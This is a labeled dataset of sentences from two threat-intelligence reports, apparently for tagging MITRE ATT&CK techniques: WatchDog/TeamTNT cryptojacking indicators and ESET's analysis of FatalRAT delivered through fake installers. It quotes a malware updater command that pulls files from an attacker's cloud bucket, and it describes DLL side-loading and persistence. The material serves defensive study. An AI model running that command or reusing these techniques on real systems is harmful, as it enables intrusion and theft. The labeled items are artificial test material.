{"sentence": "SHA256 Worker WatchDog Wallet f235c021baa6c8801e724d45003b1b1541eea5483810abc9c3eb4df6bf05afbf 3910 3d8a6f5d8162e8eb78e7b95384ec6418f65b904dffa8fd983a6a19a5645ad707 clean c141eaeab461a2481124a73ee2d254301573d8722dbf3221f5fc54d7770e67a2 clean Yes 64072e7c56895f59124c4e26e0dd65a4de0bd8280c83372c18f9835978cda0e9 clean 30f0207b74d6d2d17cd8f4dc9f9131bd8763702f19c87ce74ea13a634f52c995 clean Yes 7a8c91f4228be4d36e1087acc9bb046373ddfde506fe4645ad1b0967c08bfa8b clean Yes 7848fc64c9977796dcc0ee67c293f006d715d3b3e257a3c0f4654cefab637c45 clean Yes 3e6cf5ae8ce6ff7305da4e218a20ec7f57933235ec07d7ff6e6a18c7c844ff29 clean Yes 8d9bdcae4a4559e52b3d03209a1ef880e948d9f3969f7779119d9322c5f7cf7c clean Yes ab73aedbee66081cd047b19a4bb036f85791a9ae9abc90545c5d8756bbc2a428 clean Yes eca42c42f0909cf4e6df6bf8de35ab93ef6a3dd10d0d5e556721ec1871a9990c dream e47802d7f44fc9e594b89ef33298367d21695d5ec1ae5e6c526b9f3124c555ca Undefined cf890e288f4fb7a2cfb0aa7e91229cc51c224e767c6ca69bbbb9d06e999ede64 Undefined Table 2.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Seven samples within the previous table contain instructions to find and remove any processes using the WatchDog-identified 43XB Monero wallet address, as shown in Figure 7. Figure 7.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The scripts will then rebuild mining operations and begin using two known WatchDog Monero wallet addresses, 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4 and 87q6aU1M9xmQ5p3wh8Jzst5mcFfDzKEuuDjV6u7Q7UDnAXJR7FLeQH2UYFzhQatde2WHuZ9LbxRsf3PGA8gpnGXL3G7iWMv.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "These two Monero wallets are just two of the three known Monero wallets that are associated with the WatchDog cryptojacking group.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Of note, the IP address listed within Figure 8, 139.99.102[.]72, resolves to the previously mentioned xmr-asia1.nanopool[.]org mining pool.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "WatchDog Monero wallet addresses.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Linking WatchDog Infrastructure to TeamTNT The URL addresses and Monero wallet address, 87A5fSCR98nFSR9NCRxt6UFytca3hJXaRdDgf9NxhWTjT3q3AA8HECyZ1FdF93D5LPXsSqS8dKNsxCxafrbuVeZfMW3V7ib, specifically called out within the sample 36bf7b2ab7968880ccc696927c03167b6056e73043fd97a33d2468383a5bafce (see Figure 9), are known WatchDog indicators.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Known WatchDog indicators of compromise (IoCs), as well as the TeamTNT email address.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Now to the malware sample, 8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6, which contains the new WatchDog Monero wallet, as shown in Figure 10.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "With the presence of the C2 infrastructure from these new scripts, Figure 9 and Figure 10, both of which use the WatchDog directory, b2f628, there is a clear link to the TeamTNT infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The domain oracle.zzhreceive[.]top resolves to the IP address 199.19.226[.]117, which is also the resolution IP address for the known TeamTNT subdomain zzhrecieve.anondns[.]net.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The usage of the anondns[.]net domain has been linked to several TeamTNT campaigns across multiple reports including, irc.anondns[.]net, ircbd.anondns[.]net, sampan.anondns[.]net and teamtntisback.anondns[.]net.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Additionally, the 199.19.226[.]117 system has also been linked to WatchDog operations through the toolkit file 1.0.4.tar.gz, 51de345f677f46595fc3bd747bfb61bc9ff130adcbec48f3401f8057c8702af9, which was hosted on hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/1.0.4.tar.gz and contains C code for the masscan utility, which is the same toolkit used in the TeamTNT operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The bitmex[.]com[.]de URL had previously been linked to the WatchDog cryptojacking group.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "TeamTNT Malware Repository", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The malware repository 85.214.149[.]236:443/sugarcrm/themes/default/images/ contains known TeamTNT malware that includes the same files as the known TeamTNT repository hxxp://dockerupdate.anondns[.]net:443/sugarcrm/themes/default/images/, which is linked to TeamTNT via the malware sample 1aaf7bc48ff75e870db4fe6ec0b3ed9d99876d7e2fb3d5c4613cca92bbb95e1b, as shown in Figure 11.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "See the appendix for a full listing of the known TeamTNT malware metadata collected from the malware repository.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The malware sample 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 is of note in this context as it contains the hardcoded IP address, 199.19.226[.]117, as well as the hardcoded Monero wallet address associated with the nanopool and f2pool mining pools, and the mining workers previously discussed (Figures 12 and 13).", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "WatchDog directory using TeamTNT infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Within the spread/redis directory, the file b.sh, 3b14c84525f2e56fe3ae7dec09163a4a9c03f11e6a8d65b021c792ad13ed2701, was found, which directly links TeamTNT to the cryptojacking operations expressed in this report.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "TeamTnT repository containing the b.sh script.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "It also contains a hardcoded link to a known TeamTNT cloud enumeration script hosted on the known TeamTNT domain borg[.]wtf, see Figure 16. Figure 15.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "TeamTNT and WatchDog XMR wallet and IP address.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The borg[.]wtf domain was linked to TeamTNT via a previous Unit 42 report.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Conclusion Considering the above evidence, it appears that WatchDog operations have incorporated the TTPs of the TeamTNT cryptojacking group and have significantly increased their own cryptojacking operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The new WatchDog operation does not appear to use the advanced functionalities TeamTNT has used recently, namely cloud credential scraping as well as targeted Kubernetes- and Docker-focused lateral movement and exploit scripts.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The following tips are highly recommended by Unit 42 researchers to assist in the protection of cloud infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Monitor and block network traffic to known malicious endpoints.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Use cloud endpoint agents to monitor and prevent the running of known malicious applications within cloud infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
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{"sentence": "ESET researchers have identified a campaign using trojanized installers to deliver the FatalRAT malware, distributed via malicious websites linked in ads that appear in Google search results ESET researchers identified a malware campaign that targets Chinese-speaking people in Southeast and East Asia by buying misleading advertisements to appear in Google search results that lead to downloading trojanized installers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Key points of the blogpost: The attackers purchased advertisements to position their malicious websites in the “sponsored” section of Google search results.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We observed victims mostly in Southeast and East Asia, suggesting that the advertisements were targeting that region.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We observed these attacks between August 2022 and January 2023, but according to our telemetry previous versions of the installers have been used since at least May 2022.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "None of the malware or network infrastructure used in this campaign has been matched to known activities of any named groups, so for now we have not attributed this activity to any known group.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Victimology Figure 1 shows a heatmap with the countries where we detected the attacks between August 2022 and January 2023.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Countries where we detected the attacks between August 2022 and January 2023 We also observed a small number of cases in: Malaysia Japan The Philippines Thailand Singapore Indonesia Myanmar Attack overview A simplified overview of the attack is shown in Figure 2.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "A chain of multiple components ultimately installs the FatalRAT malware that was described by AT&T researchers (@attcyber) in August 2021.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Simplified overview of the attack Fake websites", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The attackers registered various domain names that all pointed to the same IP address: a server hosting multiple websites that download trojanized software.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "While in theory there are many possible ways that potential victims can be directed to these fake websites, a news site reported (English version here) that they were being shown an advertisement that led to one of these malicious websites when searching for the Firefox browser in Google.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We couldn’t reproduce such search results, but believe that the ads were only served to users in the targeted region.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We reported the websites to Google and the ads were taken down.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Given the fact that many of the domain names that the attackers registered for their websites are very similar to the legitimate domains, it is also possible that the attackers rely on typosquatting as well to attract potential victims to their websites.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Some examples are: You’ll find the rest of the domain names that we observed in the IoCs section.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Installers The installers downloaded from the fake websites are not hosted on the same server as the websites, but in the Alibaba Cloud Object Storage Service.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "They are digitally signed MSI files (see the Certificates section) created with Advanced Installer.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Drop the malicious updater and related files in the %PROGRAMDATA%\\Progtmy\\0 directory.", "labels": ["T1036.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Drop a file named ossutilconfig in the %USERPROFILE% directory.", "labels": ["T1036.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "This file contains credentials used by the updater to connect to a remote bucket in the Alibaba Cloud.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Create an empty directory %", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "PROGRAMDATA%\\Progptp (although we observed some cases where the FatalRAT malware was installed in this directory instead).", "labels": ["T1036.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Drop and execute the legitimate installer in C:\\Program Files\\Common Files (see CommonFiles64Folder).", "labels": ["T1036.005", "T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The malware is run by side-loading a malicious DLL, libpng13.dll, which is used by sccs.exe (Browser Support Module), a legitimate executable developed by Xunlei.", "labels": ["T1574.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The original libpng13.dll is also included in the installer package (renamed to what appears to be a random name) because the malicious DLL forwards its exported functions to the original DLL.", "labels": ["T1055"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Some of the forwarded exports in the malicious DLL are shown in Figure 7.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Part of the exported functions in the malicious DLL that are forwarded to the original The malware updater is executed in a similar manner, by side-loading dr.dll, used by a legitimate, signed binary developed by Tencent.", "labels": ["T1036.005", "T1574.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The malicious DLL is very simple and executes OSSUTIL (included in the installer package as ssu.exe) to download files from an attacker-controlled bucket in Alibaba Cloud.", "labels": ["T1059.003", "T1105"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The command executed by the DLL is: cmd /C", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "“C:\\ProgramData\\Progtmy\\2\\ssu.exe cp -r oss://occ-a1/dll/3/ C:\\ProgramData\\Progtmy\\ –update” This should update files in the %PROGRAMDATA%\\Progtmy local directory from the remote bucket occ-a1 (a different bucket than the ones used to store the installers, but in the same account), but it doesn’t work in any of the installers that we analyzed because the %PROGRAMDATA%\\Progtmy\\2 subdirectory doesn’t exist (it should be subdirectory 0, created by the installer).", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The attackers made the same mistake with the scheduled tasks created for the updater, as the execution path also refers to a subdirectory 2 that doesn’t exist.", "labels": ["T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "In most cases, four scheduled tasks are created: two for the RAT (one set to execute periodically and the other whenever any user logs into the PC) and two for the updater.", "labels": ["T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The names of the tasks are based in the Windows build number and the name of the computer, as shown in Figure 8. Figure 8.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Scheduled tasks created by the malicious installers Loaders The loader – libpng13.dll – is a very simple component that opens and executes in memory a file named Micr.jpg, located in the same directory as the DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The attackers have obfuscated the loader with many calls to a function that just prints some hardcoded values.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "It’s possible that this behavior was used to avoid being detected by security solutions or to complicate the analysis of the DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Figure 9 shows an example of the obfuscated code on the left and the deobfuscated code on the right.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Part of the decompiled code for libpng13.dll on the left and on the right the same code deobfuscated Micr.jpg is actually shellcode that also contains an embedded DLL.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The purpose of this shellcode is to load and execute in memory the embedded DLL by calling an export function of the DLL named SignalChromeElf.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Before the execution of this export function, the shellcode reconstructs the imports table of the DLL and calls the DllEntryPoint, which simply invokes the Windows API function DisableThreadLibraryCalls as a way to increase the stealthiness of the DLL. SignalChromeElf essentially will decrypt, load, and execute an encrypted payload located in the embedded DLL.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "This encrypted payload is the FatalRAT malware, and after its decryption the DLL will find the address of an export function called SVP7, which contains the entry point of the malware, and call it, passing the encrypted configuration of FatalRAT as an argument.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The function in the embedded DLL that decrypts the payload is the same as the function used in FatalRAT to decrypt its configuration.", "labels": ["T1140"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "FatalRAT FatalRAT is a remote access trojan documented in August 2021, by AT&T Alien Labs.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "This malware provides a set of functionalities to perform various malicious activities on a victim’s computer.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The targeted browsers are: Chrome Firefox QQBrowser Sogou Explorer Download and execute a file Execute shell commands This malware contains various checks to determine whether it’s running in a virtualized environment.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Depending on its configuration, these checks may be executed or not.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "From our own analysis we were able to determine that the FatalRAT version used in this campaign is very similar to the one documented by AT&T in their blogpost, so we won’t go into more details.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "A comparison of them is shown in Figure 11, and Figure 10 shows the decompiled code used to decrypt strings in the FatalRAT samples from this campaign, which is the same as the one described by AT&T. Figure 10.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Decompiled code of a function used by a FatalRAT sample to decrypt its configuration strings Figure 11.", "labels": ["T1027", "T1140"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "BinDiff comparison between a FatalRAT sample analyzed by AT&T and the FatalRAT sample found in this campaign Previous version We found a previous version of the malicious installer that the attackers have used since at least May 2022.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Unlike the installers that we described previously, this version contains an XOR-encrypted payload, divided into three files: Micr.flv, Micr2.flv, and Micr3.flv, each file encrypted with a different, single byte XOR key.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Once decrypted, the content of the three files is concatenated, forming shellcode that contacts a C&C server to download and execute further shellcode.", "labels": ["T1105"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The loader DLL in this case is named dr.dll – the same name that is used for the update mechanism in later versions of the installer, side-loaded by the same legitimate executable.", "labels": ["T1574.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Given that this older version doesn’t seem to have an updater, we believe that the attackers have replaced it with the new version of the installer since August 2022.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Twitter user Jirehlov Solace reported other versions of the installers starting in May 2022, as can be seen in this thread.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Although some of those installers are the same as ones in this report, it seems that most of them are different, compiled as EXE files (not MSI installers) and using a variety of software packers.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Those samples are probably connected with Operation Dragon Breath as described by Qi An Xin in May 2022.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Conclusion The attackers have expended some effort regarding the domain names used for their websites, trying to be as similar to the official names as possible.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The fake websites are, in most cases, identical copies of the legitimate sites.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "As for the trojanized installers, they install the actual application that the user was interested in, avoiding suspicion of a possible compromise on the victim’s machine.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Even better, type it into your browser’s address bar after checking that it is the actual vendor site.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Since the malware used is this campaign, FatalRAT, contains various commands used to manipulate data from different browsers, and the victimology is not focused on a particular type of user, anyone can be affected.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "ESET Research offers private APT intelligence reports and data feeds.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "IoCs Files SHA-1FilenameESET detection nameDescription 00FD2783BBFA313A41A1A96F708BC1A4BB9EACBDChrome-Setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "3DAC2A16F023F9F8C7F8C40937EE54BBA5E82F47Firefox-x64.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "64C60F503662EF6FF13CC60AB516D33643668449Signal-Setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "2172812BE94BFBB5D11B43A8BF53F8D3AE323636Skype-x64.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "1FBE34ABD5BE9826FD5798C77FADCAC170F46C07Whats-64.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "C9970ACED030AE08FA0EE5D9EE70A392C812FB1BWhatsApp-中文.msi (machine translation: Chinese)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AFAHMalicious MSI installer. 76249D1EF650FA95E73758DD334D7B51BD40A2E6WPS-SetuWhatsApp-中文p.msi (machine translation: Chinese)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "DBE21B19C484645000F4AEE558E5546880886DC0电报-中文版.msi (machine translation: Telegram - Chinese Version)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "1BE646816C8543855A96460D437CCF60ED4D31FE电报中文-64.msi (machine translation: Telegram Chinese)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "2A8297247184C0877E75C77826B40CD2A97A18A7windows-x64中文.exe (machine translation: Chinese)Win32/ShellcodeRunner.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "ADC4EB1EDAC5A53A37CC8CC90B11824263355687libpng13.dllWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AFAHLoader DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "EF0BB8490AC43BF8CF7BBA86B137B0D29BEE61FAdr.dllWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AFAHUpdater DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AD4513B8349209717A351E1A18AB9FD3E35165A3dr.dllWin32/ShellcodeRunner.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Network IPProviderFirst seenDetails 107.148.35[.]6PEG TECH INC2022-10-15Server hosting malicious websites.firefoxs[.]org googlechromes[.]com youedao[.]com telegramxe[.]com telegramxe[.]net telegramsz[.]net whatcpp[.]com whatcpp[.]net whatsappt[.]org telegraem[.]org telegraxm[.]net skype-cn[.]org electrumx[.]org line-cn[.]net whateapp[.]net whatcapp[.]org 107.148.45[.]20PEG TECH INC2022-12-1912-03.telegramxe[.]com; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "107.148.45[.]32PEG TECH INC2023-01-0412-25.telegraem[.]org; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "107.148.45[.]34PEG TECH INC2023-01-0612-25.telegraxm[.]org; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "107.148.45[.]37PEG TECH INC2022-12-1012-08.telegraem[.]org; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "107.148.45[.]48PEG TECH INC2022-12-2212-16.pinyin-sougou[.]com; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "193.203.214[.]75Yuhonet", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "International Limited2022-06-16ghg.telegream[.]online; C&C server.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Certificates Serial number26483C52A9B6A99A4FB18F69F8E575CE Thumbprint505CF4147DD08CA6A7BF3DFAE9590AC62B039F6E Subject CNTeCert Subject ON/A Subject LN/A Subject SN/A Subject CN/A Valid from2022-12-16 11:46:19 Valid to2023-12-16 12:06:19 Serial number317984D3F2ACDAB84095C93874BD10A9 Thumbprint457FC3F0CEC55DAAE551014CF87D2294C3EADDB1 Subject CNTelegram_Inc Subject ON/A Subject LN/A Subject SN/A Subject CN/A Valid from2022-06-02 11:10:49 Valid to2023-06-02 11:30:49 MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "TacticIDNameDescription Resource DevelopmentT1583.001Acquire Infrastructure:", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "DomainsThe attackers acquired domain names for their malicious websites and C&C servers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1585.003Establish Accounts: Cloud AccountsThe attackers acquired accounts in Alibaba Cloud Object Storage Service to host their malicious MSI installers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1587.002Develop Capabilities: Code Signing CertificatesThe attackers used self-signed certificates to sign their malicious MSI Installers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Initial AccessT1189Drive-by CompromiseThe attackers used Google Ads to direct their victims to their malicious websites.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "ExecutionT1204.002User", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Execution: Malicious FileThe attackers have relied on their victims to execute the malicious MSI installers.", "labels": ["T1204.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Windows Command ShellThe malware updater uses cmd.exe to download files from Alibaba Cloud Object Storage Service.", "labels": ["T1059.003"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "APIThe loaders use API calls such as VirtualAlloc to load and execute malicious components into memory.", "labels": ["T1106"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "PersistenceT1053.005Scheduled Task/Job: Scheduled TaskThe MSI installers create scheduled tasks to achieve persistence.", "labels": ["T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderFatalRAT creates a registry Run key to achieve persistence.", "labels": ["T1547.001"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Defense EvasionT1140Deobfuscate/Decode Files or InformationThe loaders and FatalRAT component use various encryption algorithms to hide payloads and strings.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1574.002Hijack Execution Flow: DLL Side-LoadingThe attackers have used DLL side-loading to execute their malicious payloads.", "labels": ["T1574.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1027.009Obfuscated Files or Information:", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
